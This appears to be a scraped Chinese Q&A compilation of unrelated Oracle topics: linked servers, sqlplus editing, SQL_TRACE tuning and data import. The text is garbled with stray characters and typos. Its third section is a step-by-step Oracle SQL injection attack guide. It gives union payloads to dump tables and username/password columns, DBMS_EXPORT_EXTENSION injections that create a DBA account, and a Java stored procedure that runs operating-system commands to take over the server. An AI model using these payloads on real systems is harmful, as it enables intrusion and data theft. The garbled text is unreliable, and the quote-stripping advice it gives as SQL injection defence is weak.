㈠ 怎样将ORACLE中的数据转入sql SERVER,并每天更新
以SQL Server 2000为例说明SQL Server到Oracle连接服务器的具体实现过程。
1.要求pc机上安装oralce客户端软件和sqlserver2000软件。
2.客户端的配置tnsnames.ora文件,配置所要连接的数据库服务器(windows,unix等平台均可以)
eg:tnsnames.ora
......
TEST =
(DESCRIPTION =
(ADDRESS_LIST =
(ADDRESS = (PROTOCOL = TCP)(HOST = 10.1.11.90)(PORT = 1521))
)
(CONNECT_DATA =
(sid = blue)
(SERVER = DEDICATED)
)
)
......
3.配置windows的ODBC数据源:
开始菜单—》设置—》管理工具—》数据源(ODBC)—》进入配置用户DSN或者系统DSN均可以:添加—》选择Microsoft ODBC for oracle—》自定义数据源名称(最好跟tns中连接串同名!)返穗坦—》服务器名称(必填!填写tns文件中的连接串名称)—》完成。
4.配置sqlserver2000中的连接服务器:
企业管理器—》安全性—》连接服务器—》右键新建连接服务器—》定义连接名称; 选其他数据源; 指定程序名称为:Microsoft OLE DB Provider for Oracle; 产品名称可不填; 数据源指定刚才ODBC中定义好的数据源名称; 提供程序字符串按以下格式族槐填写:User ID=username;Password=userpasswd(或者按如下格式:UID=username;PWD=userpasswd),这里的用户名和密码对应所要连接的oracle数据库中的用户名和密码 —》 安全性标签页里:设置用此安全上下文进行,并录入oracle的数据库用户名和密码—》服务器选项标签页可默认漏桐—》确定。
5.准备工作全部完成啦!在sqlserver企业管理器—》安全性—》连接服务器打开刚建好的连接服务器—》点击表,即可在右边窗口看到该oracle数据库用户拥有的的所有表名,但在这里还并不能查看表的记录,这个需要在sqserver的查询分析器中用具体sql实现!访问表时,使用格式为: [连接服务器名]..[ORACLE用户].[表名]。更详细具体的使用这里不再赘述。
㈡ oracle 数据库如何导入 .sql文件
在sql*plus下,直接@+脚本路径,例如:@d:\orcl2.sql
㈢ sql 注入 oracle 常见的库有哪些
目录:
0x00:判断数据库类型
0x01:获取基本信息
0x02:得到当前库所有表名
0x03:得到所有列名
0x04:获取列中数据
0x05:获取所有数据库
0x06:森此利用ORACLE的systeminfo权限拿下服务器下面是正文:
判断注入,我就不说了,大家都很熟悉了,and 1=1和and 1=2 ,当然我们这篇文章是建立在有注入的前提下,如果没找到的话,请直接略过。
当我们找到注入点的话,一般类似与asp/php/aspx?id=1这样此仿迅的形式,(我没见过其他两种,见过的都是asp+oracle这种奇葩),在后面加注释符–,如果返回正常的话,大致可以判断数据库类型是mssql或者oracle,之后在根据oracle里面所特有的表查询
例如:and exist(select * from al) 或者and exists(select * from user_tables)
利用的原理是al表和user_tables表是oracle中的系统表
返回正常,那么就可以肯定这是oracle了,接下来你就要抓狂了,因为oracle 注入工具不多。只能手工了。0×01 获取基本信息1. 判断过注入了,接下来就看有几个字段了,同样可以使用oder by N 根据返回页面判断,这里不再赘述,由于oracle中对于字段类型要求很严格,所以在union查询之前,我们首先要确定字段类型,可以用如下语句and 1=2 union select NULL,NULL,……,NULL from al–中间省略
然后将第一个NULL替换成1
这样就成了and 1=2 union select 1,NULL,……,NULL from al–中间省略
如果正确,则说明在数据库中这个字段是数字类型,如果在当前页有此列数据,则也会在当前页特定位置显示。
如果错误,这将其替换成and 1=2 union select ‘1’,NULL,……,NULL from al–中间省略
返回正常则说明此列是字符类型了。在下文中,我们假设为数字型,并且有6个字段
2. 接下来,我们获取数据库版本and 1=2 union select 1,2,(select banner from sys.v_$version where rownum=1),4,5,6 from al
这里使用了sql语句的嵌套,然后在可以显示的位置,查询sys.v_$version,返回banner信息大升,同时也是数据库版本信息
3. 然后获取操作系统版本and 1=2 union select 1,2,( select member from v$logfile where rownum=1),4,5,6 from al
3. 获取连接数据库的当前用户and 1=2 union select 1,2,( select SYS_CONTEXT (‘USERENV’, ‘CURRENT_USER’)from al),4,5,6 from al
现在服务器的基本信息,我们已经可以得到了,那么接着往下走,你应该知道该干什么了。0×02 获取当前库中所有表名and 1=2 union select 1,2,( select table_name from user_tables where rownum=1),4,5,6 from al
oracle中数据库中所有的表都是保存在user_tables这张表中,这样我们就获得了第一个表名,假设是news 接下来再来获取第二个and 1=2 union select 1,2,( select table_name from user_tables where rownum=1 and table_name<>’news’),4,5,6 from al
这样就得到了第二个表名,我们假设是manage 然后以此类推就可以得到所有的表名0x03:得到所有列名and 1=2 union select 1,2,( select column_name from user_tab_columns where table_name=’manage’ and rownum=1),4,5,6 from al
系统表多了就是这种好处,什么都可以去系统表中找到,如果再碰上盲注,那不哭了。
然后才查询第二个表名,假设第一个得到的是usernameand 1=2 union select 1,2,( select column_name from user_tab_columns where table_name=’manage’ and rownum=1 and column_name<>’username’),4,5,6 from al
这样第二个就出来了,架设是password 同样是依次类推即可得到所有的列名0x04:得到列中数据
查询指定列中数据没什么好说的,就像其他数据库一样and 1=2 union select 1,2,username,4,5,6 from manage
and 1=2 union select 1,2,password,4,5,6 from manage
这样用户名,密码都可以得到了0x05:获取所有数据库
这种情况是存在你需要跨裤的情况下,其实一般情况下用不到,至于原因嘛,由各位看官自己体味了。
先来爆出第一个数据库名and 1=2 union select 1,2,(select owner from all_tables where rownum=1),4,5,6 from al
然后第二个,假设第一个是current_dband 1=2 union select 1,2,(select owner from all_tables where rownum=1 and owner<>’current_user’),4,5,6 from al
然后就不用我说了吧,各位应该都很熟悉了。0x06:利用ORACLE的systeminfo权限拿下服务器
oracle本身经常是已system运行的,所以拿下了oracle基本拿下了服务器了
1. 首先是添加账户,利用的命令如下:and ‘’||SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(‘FOO’,'BAR’,'DBMS_OUTPUT”.PUT(:P1);EXECUTE IMMEDIATE ”DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ””Create USER linux IDENTIFIED BY linux””;END;”;END;–’,'SYS’,0,’1′,0)=”—
2. 查看账户是否添加成功and”||(select user_id from all_users where username=’linux’)
3. 接下来是把我们建立的用户加入到dba中and”||SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(‘FOO’,'BAR’,'DBMS_OUTPUT”.PUT(:P1);EXECUTE IMMEDIATE ”DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ””grant linux to rebeyond””;END;”;END;–’,'SYS’,0,’1′,0)=”—
4. 之后没得说了就是为我们建立的用户赋予远程连接的权限and”||(select SYS.DBMS_EXPORT_EXTENSION.GET.DOMAIN_INDEX_TABLES(‘FOO’,'BAR’,'DBMS_OUTPUT”.PUT(:P1);EXECUTE IMMEDIATE ” DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ” ” GRANT CONNECT to linux ” ”;END;–’,SYS’,0,’1′,0) from alp
下面就远程连接了,连接之后需要建立存储过程
第一步:create or replace and compile
java souRCe named “util”
as
import java.io.*;
import java.lang.*;
public class util extends Object
{
public static int RunThis(String args)
{
Runtime rt = Runtime.getRuntime();
int RC = -1;
try
{
Process p = rt.exec(args);
int bufSize = 4096;
BufferedInputStream bis =new BufferedInputStream(p.getInputStream(), bufSize);
int len;
byte buffer[] = new byte[bufSize];
// Echo back what the program spit out
while ((len = bis.read(buffer, 0, bufSize)) != -1)
System.out.write(buffer, 0, len);
RC = p.waitFor();
}
catch (Exception e)
{
e.printStackTrace();
RC = -1;
}
finally
{
return RC;
}
}
}
第二步: www.2cto.com
create or replace
function RUN_CMz(p_cmd in varchar2) return number
as
language java
name ‘util.RunThis(java.lang.String) return integer’;
第三步:
create or replace procere RC(p_cmd in varChar)
as
x number;
begin
x := RUN_CMz(p_cmd);
end;
创建完之后,就可以通过x := RUN_CMz(dos命令)来执行系统命令了
㈣ oracle数据库 通过sql注入漏洞怎么 update
执行 update tab where ...... 时, 执行完后, 还要点\\“提交”庆激腔\r\n你都没执行完就中断了,没有点 \\“提交”按纽铅罩的机会誉衫,\r\n当然没提交了。\r\n注意,不要在生产系统上测试,哈哈
㈤ oracle sql
方法一:使用ed命令,关联编辑器来虚辩祥编辑,用法可参考我最近的一个贴子:
http://..com/question/164669468.html
方法二灶前:可以用差搏sqlplus的脚本编辑命令:
c/oldchar/newchar
如:
SQL> create table state
(state_cd char(2) not null,
state_name varchar2(30));
SQL> ;
1 create table state
2 (state_cd char(2) not null,
3* state_name varchar2(30))
SQL> del 3
SQL> ;
1 create table state
2* (state_cd char(2) not null,
SQL> c/_cd/_c
2* (state_c char(2) not null,
SQL> ;
1 create table state
2* (state_c char(2) not null,
SQL> a state_name varchar2(30))
2* (state_c char(2) not null, state_name varchar2(30))
SQL> ;
1 create table state
2* (state_c char(2) not null, state_name varchar2(30))
/
详细的学习,见:
http://download.oracle.com/docs/cd/B19306_01/server.102/b14357/ch5.htm#i1210247
㈥ Oracle怎么防SQL注入
oracle是数据库,不慧闷做这个事的斗碧梁空运,SQL注入是应用,也就是我们的程序要防止的。
简单地说,我们的程序中不要用简单的sql直接拼接从前台传递的参数。
㈦ oracle数据库的sql注入攻击有哪些
针对Oracle数据库的SQL注入攻击主要有下面4类:
1、SQL篡改
2、租逗厅代码注入
3、函数调用指并注入
4.、缓弊隐冲区溢出
㈧ 如何使用oracle提供的SQL
Sql性能非常差的时候,oracle提供了SQL_TRACE来跟踪sql的执行情况。
注:分析sql的方式比较多,还有根据优化器、sql执行计划来分析。
SQL_TRACE能够将sql执行的过程输出到一个trace文件里面。
首先设置自己定义的trace文件的标识方便查找。
alter session set tracefile_identifier='mytest';
然后对当前会话启动SQL_TRACE,最好不要一直打开该开关,代价比较大。
alter session set sql_trace=true;
然后我们执行一条sql语句。
最后关闭该开关的状态。
alter session set sql_trace=false;
我们可以从目录%ORACLE_BASE%/diag/rdbms/orcl/orcl/trace(11g版本的路径,如果是10g的应该不一样)中
找到自己定义的trace文件。
原始的trace文件的可读性不高,我们一般使用oracle自带的工具,tkprof来处理这个trace文件。我们可以查看tkprof的帮助。
tkprof orcl_ora_3820_mytest.trc out.txt
我们来看刚才生成的trace文件,头部信息描述了tkprof 的版本以及报告中一些列的含义,对于任何一条sql语句,都应该包含Parse—sql分析阶段,Execute—sql执行阶段,Fetch—数据提取阶段,横向的列如图所示,包含消耗cpu时间0.00秒,操作总耗时0.04秒,物理读取了0个数据块,没有发生current方式的读取(一般在update会发生),一共提取记录1条。
Misses in library cache ring parse: 0表示这是一次软分析(关于硬分析和软分析下面会接着谈到)
Optimizer mode: ALL_ROWS表示oracle的优化器模式为ALL_ROWS。这也就是前面提到的另外的分析方式优化器。
下面是sql执行的具体计划,可以看到执行计划选择的是全表扫描。
经过处理以后的trace文件的确比较容易看明白,它有助于我们分析sql的性能问题。
下面我通过一个trace实例来解释一下,为什么OLTP系统中需要变量绑定机制。
当用户和数据库建立连接,并发送一条sql语句以后,oracle会对该sql进行hash函数运算(hash算法提供了一种快速存取数据的方法,它用一种算法建立键值与真实值之间的对应关系,每一个真实值只能有一个键值,但是一个键值可以对应多个真实值,以方便存取),得到一个hash值,然后到共享池中寻找是否有匹配的hash值的sql存在,如果有,就直接使用该sql的执行计划去执行sql。如果没有,oracle就会认为这是一条新的sql语句,然后按照语法分析,语义分析,生成执行计划,执行sql这些步骤来执行最终把结果返回给用户。这些步骤也被成为硬分析,可以想象,如果减少硬分析,能够大大降低数据库花费在sql解析上的资源开销。
我们先执行一条sql 1000次,比较绑定变量和不绑定变量的差异。得到结果以后,要计算实际的消耗,我们需要把OVERALL TOTALS FOR ALL NON-RECURSIVE STATEMENTS以及OVERALL TOTALS FOR ALL RECURSIVE STATEMENTS的时间累计起来,前者表示数据字典表的相关的信息,包含权限控制等,后者表示sql所衍生出的递归sql语句的信息。可以看到绑定变量的,整条语句执行时间为0.22+0.02=0.24秒,CPU时间0.18+0.03=0.21秒,分析次数3次,执行次数1003次。而不绑定变量的时候,整条语句执行时间为0.28+1.29=1.57秒,CPU时间0.31+1.26=1.57秒,分析次数1002次,执行次数1003次。可见绑定变量的确能够带来更低的开销。(如何设计数据库中使用绑定变量也是和系统息息相关的,很多数据库问题都是在设计以后就已经存在的)
应用级调优分析:
就通常所说的三层架构来说,中间件这一层能够起到一个缓冲池的作用,如果并发用户数到3000这个数量级的时候,中间件能够控制不是所有的用户都能直接连接到数据库,当然这里的程序会快速响应用户请求,保证缓冲池的队列等待不会很久。
对应用这一级别的调优,主要集中在app程序,中间件的监控,集群配置等方面。如果是发现应用级别的问题,首先要分析是配置问题,还是程序本身的问题。如果并发用户数很大,中间件的线程池最大值配置过小,会导致在请求队列堆积,表现就是线程监控视图中,请求的队列堆积比较多,一般可以调整线程池最大值来解决。我们来看看weblogic的监控视图。
考虑到如果为每一个请求都创建一个新线程来处理的话,那么我们难以在系统中实现足够数量的线程。不受限制的创建线程可能耗尽系统资源,因此引入了线程池。线程池的思想是在进程开始时创建一定数量的线程并将它们置入一个池(pool)中,线程在这个池中等待工作。当服务器接收到一个请求时,它就从池中唤醒一个线程(如果有可用的线程),由它来处理请求。一旦线程服务完毕,它就返回线程池等待后面的工作。
线程池利用已存在的线程服务请求要比等待创建一个线程要快,并且线程池限制了线程的数量。
如果怀疑是程序的问题,我们一般可以通过java自带的工具来帮助分析,工具很多。这里我主要提到一个jdk1.6以后附带的jvisualvm。
我们打开jdk1.6,找到并运行jvisualvm.exe。
我们发现应用程序分为本地,远程两部分。本地包含本地运行的java进程,远程能够通过配置连接到远程服务器上的java进程。我们先启动一个tomcat。可以看到本地应用程序已经打开了一个带有tomcat以及进程标识id的菜单。双击打开。这里我们一般关心2个视图。监视、线程。
其中监视视图比较关心垃圾回收活动(顾名思义,回收那些在程序里面不再使用到的内存空间),堆内存变化。如果在压力测试过程中,堆内存变化是一个逐渐上涨的趋势,并且经过多次手动gc回收,还是保持这个趋势,说明内存泄漏的可能性很大。如果猜测有内存泄漏,可以通过分析java的heap mp。JVM (java虚拟机)记录下问题发生时系统的运行状态并将其存储在转储(mp)文件中。Heap mp就是这样一种文件形式。
线程视图比较关心线程的当前执行状态,这里可以生成另一种转储文件 Java mp。Java mp,也叫做 Thread mp,是 JVM 故障诊断中最重要的转储文件之一。JVM 的许多问题都可以使用这个文件进行诊断,其中比较典型的包括线程阻塞,CPU 使用率过高,JVM Crash,堆内存不足,和类装载等问题。其中线程阻塞更加常见。
原文转自:http://blog.csdn.net/xuyubotest/article/details/8158241
㈨ 怎样把Oracle的数据导入到SQLServer2005中
怎样把Oracle的数据导入到SQLServer2005中
例子:把Oracle的CH330300数据库的数据导入到SQLServer2005的Temp数据库
第一步:打开枯雹SQLServer2005数据库-->Temp数缓败斗据库-->右键-->任务-->导入数据
第二步:如下图点击下一步
第三步扰磨:选择Oracle Privider for OLE DB
㈩ oracle拼接sql字符串,怎样防止sql注入
用replace函数替换
把 ' 替换成 空